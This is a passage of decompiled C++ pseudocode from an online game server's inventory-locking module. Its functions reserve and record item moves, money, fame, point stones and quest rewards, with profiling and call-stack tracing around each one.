"InventoryLocking::InvenCellReleaser::icr_Reserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser::icr_Reserv"); } //----- (00462E10) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv(InventoryLocking::InvenCellReleaser_CenChange *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; reserv->cen += LODWORD(lc->lc_Argument.cenchange.cen) * lc->lc_Argument.cenchange.plusminus; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv"); } //----- (00462E70) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv(InventoryLocking::InvenCellReleaser_FameChange *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; reserv->fame += LODWORD(lc->lc_Argument.cenchange.cen) * WORD2(lc->lc_Argument.cenchange.cen); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv"); } //----- (00462EE0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv(InventoryLocking::InvenCellReleaser_PointStone *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !LODWORD(lc->lc_Argument.cenchange.cen) ) reserv->hpstone += HIDWORD(lc->lc_Argument.cenchange.cen); if ( LODWORD(lc->lc_Argument.cenchange.cen) == 1 ) reserv->spstone += HIDWORD(lc->lc_Argument.cenchange.cen); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv"); } //----- (00462F50) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::_InventoryCellLockList(InventoryLocking::InventoryCellLockList *this) { InventoryLocking::InventoryCellLockList *v1; // esi@1 void *v2; // eax@1 v1 = this; this->baseclass_0.vfptr = (InventoryLocking::InventoryCellLockVtbl *)&InventoryLocking::InventoryCellLockList::_vftable_; v2 = this->icll_List.l_Array; this->icll_List.vfptr = (ListVtbl *)List::_vftable_; if ( v2 ) operator delete__(v2); v1->baseclass_0.vfptr = (InventoryLocking::InventoryCellLockVtbl *)&InventoryLocking::InventoryCellLock::_vftable_; } // 5A7240: using guessed type int (__stdcall *InventoryLocking__InventoryCellLock___vftable_)(int ele, __int16 handle); // 5A72B0: using guessed type int (__stdcall *List_InventoryLocking__LockedCell____vftable_[3])(__int16 hnd); // 5A77B8: using guessed type int (__stdcall *InventoryLocking__InventoryCellLockList___vftable_)(int inven, __int16 ignore); //----- (00462F80) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_LockInventory(InventoryLocking::InventoryCellLockList *this, char lck) { this->icll_AllLock = lck; } //----- (00462F90) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, ITEM_INVEN *inven) { InventoryLocking::InventoryCellLockList *v2; // esi@1 char v3; // al@1 char v4; // bl@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_IsLocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.vfptr->icl_IsLocked( (InventoryLocking::InventoryCellLock *)v2, (unsigned int)inven->Inven >> 10, inven->Inven & 0x3FF); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); return v4; } //----- (00463040) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, ITEM_INVEN *inven, unsigned __int16 ignore) { InventoryLocking::InventoryCellLockList *v3; // esi@1 char v4; // al@1 char v5; // bl@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_IsLocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))&v3->baseclass_0.vfptr->gap0[4])( v3, (unsigned int)inven->Inven >> 10, inven->Inven & 0x3FF, ignore); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); return v5; } //----- (00463100) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_OnlyLock(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int inventype, int invenslot) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // eax@1 int v6; // eax@2 __int16 v7; // cx@6 int v8; // ecx@6 __int16 v9; // dx@6 void *v10; // [sp+14h] [bp+0h]@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_OnlyLock"); HIWORD(v5) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_OnlyLock"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v5) = v4->icll_List.l_Finger.empty; if ( (_WORD)v5 == -1 ) v6 = 0; else v6 = ((int (__cdecl *)(int))v4->icll_List.vfptr->l_AllocZ)(v5); if ( v6 ) { *(_WORD *)v6 = (_WORD)v10; v7 = *(_WORD *)(v6 + 8); *(_DWORD *)(v6 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; *(_WORD *)(v6 + 8) = (Index << 10) | v7 & 0x3FF; v8 = (Index << 10) | inventype & 0x3FF; v9 = v8 ^ *(_WORD *)(v6 + 8); *(_WORD *)(v6 + 10) = v8; *(_WORD *)(v6 + 8) ^= v9 & 0x3FF; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_ClearItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_OnlyLock"); } // 5FCB58: using guessed type int (__stdcall **InventoryLocking__InventoryCellLockList__icll_Releaser_None)(int, int lc, char inchest); //----- (00463210) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_ClearItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ITEM_INVEN *cur, ITEM_INVEN *exchange) { InventoryLocking::InventoryCellLockList *v5; // esi@1 int v6; // eax@1 int v7; // eax@2 __int16 v8; // cx@6 void *v9; // [sp+14h] [bp+0h]@6 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_ClearItem"); HIWORD(v6) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_ClearItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v6) = v5->icll_List.l_Finger.empty; if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = ((int (__cdecl *)(int))v5->icll_List.vfptr->l_AllocZ)(v6); if ( v7 ) { *(_WORD *)v7 = (_WORD)v9; v8 = *(_WORD *)&cell->iic_Item.iti_registnum.binary.gap0[0] >> 10; if ( v8 == 4 ) { *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageClear; } else { if ( v8 == 3 || v8 == 13 || v8 == 14 || v8 == 16 ) *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureCellClear; else *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_CellClear; } if ( !(cell->iic_Item.iti_registnum.binary.gap0[1] & 0xFC) ) *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageWithdrawClear; *(_WORD *)(v7 + 8) = *(_WORD *)&cell->iic_Item.iti_registnum.binary.gap0[0]; *(_WORD *)(v7 + 10) = cur->Inven; *(_DWORD *)(v7 + 16) = Index; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_ClearItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_ClearItem"); } //----- (00463350) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 __int16 v9; // cx@6 bool v10; // zf@9 InventoryLocking::InvenCellReleaser_CellChange *v11; // ecx@9 unsigned __int16 v12; // dx@15 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreItem"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__stdcall *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = Index; v9 = cur->Inven >> 10; if ( v9 == 3 || v9 == 13 || v9 == 14 || (v10 = v9 == 16, v11 = &InventoryLocking::InventoryCellLockList::icll_Releaser_CellChange, v10) ) v11 = (InventoryLocking::InvenCellReleaser_CellChange *)&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc; *(_DWORD *)(v8 + 4) = v11; if ( (cur->Inven & 0xFC00) == 4096 ) *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageChange; if ( !(HIBYTE(cur->Inven) & 0xFC) ) *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageChange; *(_WORD *)(v8 + 8) = cur->Inven; v12 = exchange->Inven; *(_DWORD *)(v8 + 16) = cell; *(_WORD *)(v8 + 10) = v12; memcpy((void *)(v8 + 20), iti, 0x6Fu); } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_StoreItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreItem"); } //----- (004634A0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreSmallItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ITEM_INVEN *to, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreSmallItem"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreSmallItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__stdcall *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = Index; *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_CellChangeSmall; *(_WORD *)(v8 + 8) = cur->Inven; *(_WORD *)(v8 + 10) = exchange->Inven; *(_WORD *)(v8 + 16) = to->Inven; memcpy((void *)(v8 + 18), iti, 0x6Fu); } else { AssertClass::ac_AssertFail( &shineassert, "InventoryLocking::InventoryCellLockList::icl_StoreSmallItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreSmallItem"); } //----- (004635B0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreFurniture(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreFurniture"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreFurniture"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__stdcall *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = Index; *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc; *(_WORD *)(v8 + 8) = cur->Inven; *(_WORD *)(v8 + 10) = exchange->Inven; *(_DWORD *)(v8 + 16) = cell; memcpy((void *)(v8 + 20), iti, 0x6Fu); } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_ClearItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreFurniture"); } //----- (004636C0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreMoney(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, unsigned __int64 money, int sign) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // eax@1 int v6; // eax@2 __int16 v7; // dx@6 __int16 v8; // cx@6 void *v9; // [sp+14h] [bp+0h]@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreMoney"); HIWORD(v5) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreMoney"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v5) = v4->icll_List.l_Finger.empty; if ( (_WORD)v5 == -1 ) v6 = 0; else v6 = ((int (__cdecl *)(int))v4->icll_List.vfptr->l_AllocZ)(v5); if ( v6 ) { v7 = *(_WORD *)(v6 + 10); *(_WORD *)v6 = (_WORD)v9; v8 = *(_WORD *)(v6 + 8); *(_DWORD *)(v6 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_CenChange; *(_WORD *)(v6 + 10) = v7 & 0x3FF | 0x4400; *(_WORD *)(v6 + 8) = v8 & 0x3FF | 0x4400; *(_DWORD *)(v6 + 16) = Index; *(_DWORD *)(v6 + 20) = money; *(_WORD *)(v6 + 24) = WORD2(money); } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_StoreMoney : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreMoney"); } //----- (004637E0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreFame(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, unsigned int fame, int sign) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // eax@1 int v6; // eax@2 __int16 v7; // dx@6 __int16 v8; // cx@6 void *v9; // [sp+14h] [bp+0h]@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreFame"); HIWORD(v5) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreFame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v5) = v4->icll_List.l_Finger.empty; if ( (_WORD)v5 == -1 ) v6 = 0; else v6 = ((int (__cdecl *)(int))v4->icll_List.vfptr->l_AllocZ)(v5); if ( v6 ) { *(_WORD *)v6 = (_WORD)v9; v7 = *(_WORD *)(v6 + 10); v8 = *(_WORD *)(v6 + 8); *(_DWORD *)(v6 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_FameChange; *(_WORD *)(v6 + 10) = v7 & 0x3FF | 0x4400; *(_WORD *)(v6 + 8) = v8 & 0x3FF | 0x4400; *(_DWORD *)(v6 + 16) = Index; *(_WORD *)(v6 + 20) = fame; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_StoreFame : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreFame"); } //----- (004638F0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_EquipLocation(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int equslot, ItemInventoryCell *equcell, int otherhand, ItemInventoryCell *otherhandcell) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 __int16 v9; // dx@6 __int16 v10; // cx@6 void *v11; // [sp+14h] [bp+0h]@6 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_EquipLocation"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_EquipLocation"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__cdecl *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = (_WORD)v11; v9 = *(_WORD *)(v8 + 10); v10 = *(_WORD *)(v8 + 8); *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_EquipLocation; *(_WORD *)(v8 + 10) = v9 & 0x3FF | 0x4400; *(_WORD *)(v8 + 8) = v10 & 0x3FF | 0x4400; *(_DWORD *)(v8 + 16) = Index; *(_DWORD *)(v8 + 20) = equslot; *(_DWORD *)(v8 + 24) = equcell; *(_DWORD *)(v8 + 28) = otherhand; } else { AssertClass::ac_AssertFail( &shineassert, "InventoryLocking::InventoryCellLockList::icl_EquipLocation : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_EquipLocation"); } //----- (00463A10) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_UseItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemTotalInformation *iti, ITEM_INVEN *inv, UseEffect::UseItemBase *useitemclass) { InventoryLocking::InventoryCellLockList *v5; // esi@1 int v6; // eax@1 int v7; // eax@2 unsigned __int16 v8; // cx@6 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_UseItem"); HIWORD(v6) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_UseItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v6) = v5->icll_List.l_Finger.empty; if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = ((int (__stdcall *)(int))v5->icll_List.vfptr->l_AllocZ)(v6); if ( v7 ) { *(_WORD *)v7 = Index; *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_ItemUse; v8 = inv->Inven; *(_WORD *)(v7 + 10) = inv->Inven; *(_WORD *)(v7 + 8) = v8; memcpy((void *)(v7 + 16), iti, 0x6Fu); *(_DWORD *)(v7 + 128) = useitemclass; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_UseItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_UseItem"); } //----- (00463B10) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StorePointStone(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int flag, int num) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // eax@1 int v6; // eax@2 __int16 v7; // dx@6 __int16 v8; // cx@6 void *v9; // [sp+14h] [bp+0h]@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StorePointStone"); HIWORD(v5) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StorePointStone"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v5) = v4->icll_List.l_Finger.empty; if ( (_WORD)v5 == -1 ) v6 = 0; else v6 = ((int (__cdecl *)(int))v4->icll_List.vfptr->l_AllocZ)(v5); if ( v6 ) { *(_WORD *)v6 = (_WORD)v9; v7 = *(_WORD *)(v6 + 10); v8 = *(_WORD *)(v6 + 8); *(_DWORD *)(v6 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_PointStone; *(_WORD *)(v6 + 10) = v7 & 0x3FF | 0x4400; *(_WORD *)(v6 + 8) = v8 & 0x3FF | 0x4400; *(_DWORD *)(v6 + 16) = Index; *(_DWORD *)(v6 + 20) = flag; } else { AssertClass::ac_AssertFail( &shineassert, "InventoryLocking::InventoryCellLockList::icl_StorePointStone : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StorePointStone"); } //----- (00463C20) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_QuestReward(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int exp, int fame, char ct_type, char ct_elementno) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 __int16 v9; // dx@6 __int16 v10; // cx@6 void *v11; // [sp+14h] [bp+0h]@6 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_QuestReward"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_QuestReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__cdecl *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = (_WORD)v11; v9 = *(_WORD *)(v8 + 10); v10 = *(_WORD *)(v8 + 8); *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_QuestReward; *(_WORD *)(v8 + 10) = v9 & 0x3FF | 0x4400; *(_WORD *)(v8 + 8) = v10 & 0x3FF | 0x4400; *(_DWORD *)(v8 + 16) = Index; *(_DWORD *)(v8 + 20) = exp; *(_BYTE *)(v8 + 24) = fame; *(_BYTE *)(v8 + 25) = ct_type; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_QuestReward : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_QuestReward"); } //----- (00463D40) -------------------------------------------------------- InventoryLocking::ReservedQuantity *__thiscall InventoryLocking::InventoryCellLock::icl_ReservedQuantity(InventoryLocking::InventoryCellLock *this, InventoryLocking::ReservedQuantity *reserv) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLock::icl_ReservedQuantity"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLock::icl_ReservedQuantity"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; reserv->spstone = 0; reserv->hpstone = 0; reserv->fame = 0; reserv->cen = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLock::icl_ReservedQuantity"); return reserv; } //----- (00463DB0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_LinktoItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, NPCManager::LinkInformTemplete *pLinkInfo) { InventoryLocking::InventoryCellLockList *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_LinktoItem"); HIWORD(v4) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_LinktoItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v4) = v3->icll_List.l_Finger.empty; if ( (_WORD)v4 == -1 ) v5 = 0; else v5 = ((int (__stdcall *)(int))v3->icll_List.vfptr->l_AllocZ)(v4); if ( v5 ) { *(_WORD *)v5 = Index; *(_DWORD *)(v5 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_LinkInfo; memcpy((void *)(v5 + 16), pLinkInfo, 0x65u); } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_LinktoItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_LinktoItem"); } //----- (00463EA0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_ItemInfoZoneRng(InventoryLocking::InventoryCellLockList *this, unsigned __int16 index, SHINE_INVEN_SLOT_INFO from, SHINE_INVEN_SLOT_INFO to, ItemTotalInformation changeiteminfo) { InventoryLocking::InventoryCellLockList *v5; // esi@1 int v6; // eax@1 int v7; // eax@4 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_LinktoItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_LinktoItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; HIWORD(v6) = 0; if ( from.inven.Inven & 0xFC00 && to.inven.Inven & 0xFC00 ) goto LABEL_8; LOWORD(v6) = v5->icll_List.l_Finger.empty; if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = ((int (__stdcall *)(int))v5->icll_List.vfptr->l_AllocZ)(v6); if ( !v7 ) { 